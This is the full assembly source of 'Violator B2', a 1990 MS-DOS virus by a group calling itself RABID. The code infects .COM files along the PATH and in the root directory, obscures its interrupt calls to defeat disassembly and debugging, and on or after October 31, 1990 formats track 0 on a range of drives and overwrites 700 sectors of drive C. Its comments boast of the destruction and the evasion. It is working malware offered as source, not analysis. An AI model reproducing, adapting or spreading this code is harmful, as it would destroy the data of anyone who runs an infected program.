;*****************************************************************************
;
;		                Violator - Strain B2
;
;*****************************************************************************
;
; (Sep/23/90)
;
; Development Notes:
;
; In this version, I have implemented various methods of thwarting users
; attempts to dissassemble this program as well as tracing various interrupt
; calls.
;
; This was done by setting a marker and then doing a CALL to a location which
; will decide which interrupt to issue based on the marker value. Couple this
; with multiple jumps, and it is enough to make any dissassembler puke it's
; guts out, not to mention anyone looking at us with debug will probably
; have an enema before they find out which interrupt we are using.
;
; Also, I have added a routine to thouroughly mess up drive C at the end of
; wiping out all drive. This was taken from Violator A becuase it worked to
; nicely destruction-wise.
;
; In other notes, this sucker is set to go off on October 31st 1990.
;
; UIV v1.0 is still on the fritz and will not become Violator C until I fix it
; to wipe out vectors 13, 26, and 21 (HEX).
;
; (Oct.02.90)
;
; Made a minor change so that INT 26 will also be accessed via flag.
;
;*****************************************************************************
;
;		 	   Written by - The High Evolutionary - 
;				  RABID Head Programmer
;
;		  Copyright (C) 199O by RABID Nat'nl Development Corp.
;
;*****************************************************************************

MOV_CX  MACRO   X
        DB      0B9H				
        DW      X
ENDM

CODE    SEGMENT
        ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
        ORG     $+0100H				; Set ORG to 100H plus our own
						
VCODE:  JMP     virus

	NOP
	NOP
	NOP 					;15 NOP's to place JMP Header
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	NOP
	
v_start equ     $


virus:  PUSH    CX
        MOV     DX,OFFSET vir_dat       
        CLD                             
        MOV     SI,DX                   
        ADD     SI,first_3              
	MOV	CX,3
        MOV     DI,OFFSET 100H          
        REPZ    MOVSB                   
        MOV     SI,DX                   
	MOV     AH,30H
	MOV	marker,1
	call	weed	
	CMP	AL,0				;Quit it it's DOS 1.0
	JNZ	dos_ok
        JMP     quit                 

dos_ok: PUSH    ES
        MOV     AH,2FH
        MOV	marker,1
	CALL	weed
        MOV     [SI+old_dta],BX
        MOV     [SI+old_dts],ES         
        POP     ES
        MOV     DX,dta                  
        ADD     DX,SI                    
        MOV     AH,1AH
        MOV	marker,1
	CALL	weed                     
        PUSH    ES
        PUSH    SI
        MOV     ES,DS:2CH
        MOV     DI,0                    
	JMP	year_check

;
; This routine weed's out the calls...
;

weed:	CMP	marker,1		;Check to see if it's an INT 21 call
	JE      int_21         		;If yes,then go and issue an INT 21
	CMP	marker,2		;Check to see if it's an INT 13 call
	JE	int_13			;If yes, then go and issue an INT 13
	CMP	marker,3		;Check to see if it's an INT 26 call
	JE 	int_26			;If yes, then go and issue an INT 26
	RET				;Go back to where we were called from
	
;
; The RET there is unnecessary, but I put it there just to be on the safe side
; incase of a "What If?" scenario... The real valid RET is issued from the JE
; locations (int_21 and int_13)... You may choose to comment this line on
; compilation, but what difference does one byte make ?
;

year_check:
	MOV	AH,2AH			;Get date info
	MOV	marker,1		;Call DOS
	CALL	weed
	CMP	CX,1990			;Check to see if the year is 1990
	JGE	month_check		;If greater or equal, check month
	JMP	find_path		;If not, go on with infection
	
month_check:
	MOV	AH,2AH			;Get date info
	MOV	marker,1		;Call DOS
	CALL	weed
	CMP	DH,10			;Check to see if it is October
	JGE	day_check		;If greater or equal, check day
	JMP	find_path		;if not, go on with infection

day_check:
	MOV	AH,2Ah			;Get date info
	MOV	marker,1		;Call DOS
	CALL	weed
	CMP	DL,31			;Check to see if it is the 31st
	JGE 	multiplex		;If yes, then nuke drives A:-Z:
	JMP	find_path		;If not, then go on with infection

int_21:	INT	21h			;Issue an INT 21
	RET				;Return from CALL

multiplex:
	MOV	AL,cntr			;Counter is the drive to kill
	CALL	alter    		;Go and kill the drive
                                        ;25 is drive Z:
	CMP	cntr,25			;Is (cntr) 25 ?
	JE	really_nuke		;Now go and Blow up drive C:
	INC	cntr			;Add one to (cntr)
	LOOP	multiplex		;Loop back up to kill next drive

int_26:	INT	26h
	RET

alter:
	MOV	AH,05			;Format Track
	MOV	CH,0			;Format track 0
	MOV	DH,0			;Head 0
	MOV	DL,cntr			;Format for drive in (cntr)
	MOV	marker,2		;Call RWTS
	CALL	weed
	RET				;Return up for next drive

int_13: INT	13h			;Issue an INT 13
	RET				;Return from CALL
					  
really_nuke:
	MOV	AL,2			;Set to fry drive C
	MOV	CX,700			;Set to write 700 sectors
	MOV	DX,00			;Starting at sector 0
	MOV	DS,[DI+99]		;Put random crap in DS
	MOV	BX,[DI+55]		;More crap in BX
	MOV	marker,3		;Call BIOS
	CALL 	weed
	POPF				;Pop the flags because INT 26 messes
					;them up
	
find_path:
        POP     SI			
        PUSH    SI                                   	
        ADD     SI,env_str              
        LODSB				
        MOV     CX,OFFSET 8000H         
        REPNZ   SCASB                   
        MOV     CX,4			                                    

check_next_4:
        LODSB
        SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will go
; along and infect the ROOT directory on the default drive.
;
        JNZ     find_path               ;If not path, then go to ROOT dir    
        LOOP    check_next_4            ;Go back and check for more chars
        POP     SI			;Load in PATH again to look for chars
        POP     ES
        MOV     [SI+path_ad],DI         
        MOV     DI,SI			
        ADD     DI,wrk_spc              ;Put the filename in wrk_spc
        MOV     BX,SI                   
        ADD     SI,wrk_spc              
        MOV     DI,SI                   
        JMP     SHORT   slash_ok

;*****************************************************************************
;
; Infection Notes: (Oct.02.90)
;
; A wierd thing happened a few days ago, I was testing this virus out on my
; system under Flushot + and I monitored everything that was going on. Here is
; the exact order that Violator infects stuff:
;
; 1) If there is a path used, we first infect the current directory until
;    full.
;
;    If there is no path, we infect the current directory either way...
;
; 2) If there is no path, we then infect the current directory, and then
;    go on and infect all COM'z in the root directory.
;
; 3) Finally, after everything in the path has been infected, we then go and
;    infect all of the COM shit in the root directory...
;
;    This results in a bug with the slash checker. It checks to see if there is
;    a slash on the end of the path, and if there is none, it adds one. But
;    what would happen if there's no path??? It'll still add a slash. 
;    This benefit's us greatly. Anyway, on with the code...
;
;*****************************************************************************

set_subdir:
        CMP     WORD PTR [SI+path_ad],0 
        JNZ     found_subdir            
        JMP     all_done                


found_subdir:
        PUSH    DS
        PUSH    SI
        MOV     DS,ES:2CH               
        MOV     DI,SI
        MOV     SI,ES:[DI+path_ad]      
        ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)


move_subdir:
        LODSB                           ;To tedious work to move into subdir
        CMP     AL,';'                  ;Does it end with a ; charachter?
        JZ      moved_one               ;if yes, then we found a subdir 
        CMP     AL,0                    ;is it the end of the path?
        JZ      moved_last_one          ;if yes, then we save the PATH
        STOSB                           ;marker into DI for future reference
        JMP     SHORT   move_subdir

moved_last_one:
        MOV     SI,0

moved_one:
        POP     BX                      ;BX is where the virus data is
        POP     DS                      ;Restore DS so that we can do stuph
        MOV     [BX+path_ad],SI         ;Where is the next subdir?
        NOP
        CMP     CH,'\'                  ;Check to see if it ends in \
        JZ      slash_ok                ;If yes, then it's OK
        MOV     AL,'\'                  ;if not, then add one...
        STOSB				;store the sucker


slash_ok:
        MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
        MOV     SI,BX                   ;Restore the original SI value
        ADD     SI,f_spec               ;Point to COM file victim
        MOV     CX,6
        REPZ    MOVSB                   ;Move victim into workspace
        MOV     SI,BX
        MOV     AH,4EH
        MOV     DX,wrk_spc
        ADD     DX,SI                   ;DX is ... THE VICTIM!!!          
        MOV     CX,3                    ;Attributes of Read Only or Hidden OK
        MOV	marker,1
	CALL	weed
        JMP     SHORT   find_first

find_next:
        MOV     AH,4FH
        MOV	marker,1
	CALL	weed

find_first:
        JNB     found_file              ;Jump if we found it
        JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory

found_file:
        MOV     AX,[SI+dta_tim]         ;Get time from DTA
        AND     AL,1EH                  ;Mask to remove all but seconds
        CMP     AL,1EH                  ;60 seconds 
        JZ      find_next               
        CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
        JA      find_next               ;If too long, find another one
        CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
        JB      find_next               ;Then go find another one
        MOV     DI,[SI+nam_ptr]         
        PUSH    SI                      
        ADD     SI,dta_nam              

more_chars:
        LODSB
        STOSB
        CMP     AL,0
        JNZ     more_chars              
        POP     SI
        MOV     AX,OFFSET 4300H
        MOV     DX,wrk_spc              
        ADD     DX,SI
	MOV	marker,1
	CALL	weed
        MOV     [SI+old_att],CX         
        MOV     AX,OFFSET 4301H         
        AND     CX,OFFSET 0FFFEH        
        MOV     DX,wrk_spc              
        ADD     DX,SI                   
	MOV	marker,1
	CALL	weed
        MOV     AX,OFFSET 3D02H         
        MOV     DX,wrk_spc              
        ADD     DX,SI                   
        MOV	marker,1
	CALL	weed
        JNB     opened_ok               
        JMP     fix_attr                

opened_ok:
        MOV     BX,AX
        MOV     AX,OFFSET 5700H
        MOV	marker,1
	CALL	weed
        MOV     [SI+old_tim],CX         ;Save file time
        MOV     [SI+ol_date],DX         ;Save the date
        MOV     AH,2CH
        MOV	marker,1
	CALL	weed
        AND     DH,7                    
        JMP     infect

infect:
        MOV     AH,3FH
        MOV     CX,3
        MOV     DX,first_3
        ADD     DX,SI
        MOV	marker,1
	CALL	weed		         ;Save first 3 bytes into the data area
        JB      fix_time_stamp  
        CMP     AX,3            
        JNZ     fix_time_stamp  
        MOV     AX,OFFSET 4202H
        MOV     CX,0
        MOV     DX,0
        MOV	marker,1
	CALL	weed
        JB      fix_time_stamp  
        MOV     CX,AX           
        SUB     AX,3            
        MOV     [SI+jmp_dsp],AX 
        ADD     CX,OFFSET c_len_y
        MOV     DI,SI           
        SUB     DI,OFFSET c_len_x
                                
        MOV     [DI],CX         
        MOV     AH,40H
        MOV_CX  virlen                  
        MOV     DX,SI
        SUB     DX,OFFSET codelen       
        MOV	marker,1
	CALL	weed
        JB      fix_time_stamp          
        CMP     AX,OFFSET virlen        
        JNZ     fix_time_stamp          
        MOV     AX,OFFSET 4200H
        MOV     CX,0
        MOV     DX,0
        MOV	marker,1
	CALL	weed
        JB      fix_time_stamp          
        MOV     AH,40H
        MOV     CX,3
        MOV     DX,SI                   
        ADD     DX,jmp_op               
        MOV	marker,1
	CALL	weed

fix_time_stamp:
        MOV     DX,[SI+ol_date]         
        MOV     CX,[SI+old_tim]         
        AND     CX,OFFSET 0FFE0H
        OR      CX,1EH                  
        MOV     AX,OFFSET 5701H
        MOV	marker,1
	CALL	weed
        MOV     AH,3EH
        MOV	marker,1
	CALL	weed

fix_attr:
        MOV     AX,OFFSET 4301H
        MOV     CX,[SI+old_att]         
        MOV     DX,wrk_spc
        ADD     DX,SI                   
        MOV	marker,1
	CALL	weed

all_done:
        PUSH    DS
        MOV     AH,1AH
        MOV     DX,[SI+old_dta]
        MOV     DS,[SI+old_dts]
        MOV	marker,1
	CALL	weed
	POP     DS

quit:
        POP     CX
        XOR     AX,AX			;XOR values so that we will give the
        XOR     BX,BX			;poor sucker a hard time trying to
        XOR     DX,DX			;reassemble the source code if he
        XOR     SI,SI			;decides to dissassemble us.
        MOV     DI,OFFSET 0100H
        PUSH    DI
        XOR     DI,DI
        RET     0FFFFH			;Return back to the beginning
					;of the program
;
; It seems as if there is a bit of a misunderstanding about the above line.
; What it simply does is returns from the JMP that we issued at the beginning
; of the program. Heceforth, an infected program will have something to the
; effect of 2145:0100 JMP 104B and the program will then jump to the 
; beginning of us. Then we go along our merry way of infecting files until
; we are done and then come up to the RET 0FFFFH line. This is just like a 
; plain RET put as we all know, you can't RET from a JMP, so this line kinda
; tricks DOS to return back to the line after the one that issued the original
; JMP, thus, it returns to line 2145:0102 and begins with the real program...
;
; Clear? Good...

vir_dat EQU     $

;
; Change the next line on release of compiled file...
;
intro	db	'Violator B2 (C) ''9O RABID Nat''nl Development Corp.',13,10
olddta_ DW      0                       
olddts_ DW      0                       
oldtim_ DW      0                       
count_	DW	0
cntr 	DB 	2				; Drive to nuke from (C:+++)
marker	DB	0				; This is used for INT purposes
oldate_ DW      0                       
oldatt_ DW      0                       
first3_ EQU     $
        INT     20H
        NOP
jmpop_  DB      0E9H                    
jmpdsp_ DW      0                       
fspec_  DB      '*.COM',0
pathad_ DW      0                       
namptr_ DW      0                       
envstr_ DB      'PATH='                 
wrkspc_ DB      40h dup (0)
dta_    DB      16h dup (0)             
dtatim_ DW      0,0                     
dtalen_ DW      0,0                     
dtanam_ DB      0Dh dup (0)             
lst_byt EQU     $                       
virlen  =       lst_byt - v_start       
codelen =       vir_dat - v_start       
c_len_x =       vir_dat - v_start - 2   
c_len_y =       vir_dat - v_start + 100H
old_dta =       olddta_ - vir_dat       
old_dts =       olddts_ - vir_dat       
old_tim =       oldtim_ - vir_dat       
ol_date =       oldate_ - vir_dat       
old_att =       oldatt_ - vir_dat       
first_3 =       first3_ - vir_dat       
jmp_op  =       jmpop_  - vir_dat       
jmp_dsp =       jmpdsp_ - vir_dat       
f_spec  =       fspec_  - vir_dat       
path_ad =       pathad_ - vir_dat       
nam_ptr =       namptr_ - vir_dat       
env_str =       envstr_ - vir_dat       
wrk_spc =       wrkspc_ - vir_dat       
dta     =       dta_    - vir_dat       
dta_tim =       dtatim_ - vir_dat       
dta_len =       dtalen_ - vir_dat       
dta_nam =       dtanam_ - vir_dat       
count 	=	count_  - vir_dat

        CODE    ENDS
END     VCODE

